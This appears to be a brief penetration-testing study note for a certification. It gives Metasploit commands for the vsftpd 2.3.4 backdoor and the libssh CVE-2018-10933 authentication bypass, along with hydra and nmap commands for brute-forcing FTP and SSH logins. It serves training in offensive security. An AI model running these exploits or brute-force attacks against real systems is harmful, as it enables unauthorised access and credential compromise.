Skip to content
Home

Linux FTP & SSH exploitation: vsftpd backdoor, brute-force, libssh auth bypass

Exploit vsftpd 2.3.4's supply-chain backdoor, brute-force generic FTP/SSH credentials, and bypass authentication in libssh 0.6–0.8.

msfconsole·1 min read··INE Certification

FTP and SSH on Linux mostly come down to either brute-forcing credentials or exploiting a known vulnerability in a specific server version. Both are narrow attack surfaces but reliable on vulnerable versions.

vsftpd 2.3.4 supply-chain backdoor

A backdoor was inserted into vsftpd 2.3.4 in 2011: logging in with a username ending in :) opens a command shell on port 6200 without requiring a real password.

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <target_ip>
run
# → command shell on port 6200

Generic FTP brute-force

hydra -L users.txt -P passwords.txt <target_ip> ftp
nmap --script ftp-brute --script-args userdb=users.txt -p21 <target_ip>
ftp <target_ip>          # then try Username: anonymous, Password: <blank> — common misconfiguration

libssh 0.6.0–0.8.0 authentication bypass (CVE-2018-10933)

libssh’s server-side code accepted a SSH2_MSG_USERAUTH_SUCCESS message from the client.

use auxiliary/scanner/ssh/libssh_auth_bypass
set RHOSTS <target_ip>
set SPAWN_PTY true
run
# → shell without valid credentials

Generic SSH brute-force

hydra -L users.txt -P passwords.txt <target_ip> ssh
use auxiliary/scanner/ssh/ssh_login
  • FTP enumeration: identify the vsftpd version before trying the backdoor
  • SSH enumeration: version/algorithm fingerprinting ahead of the libssh bypass
  • Hydra: the brute-forcer used for both FTP and SSH
  • Netcat: interacting with the raw backdoor shell on port 6200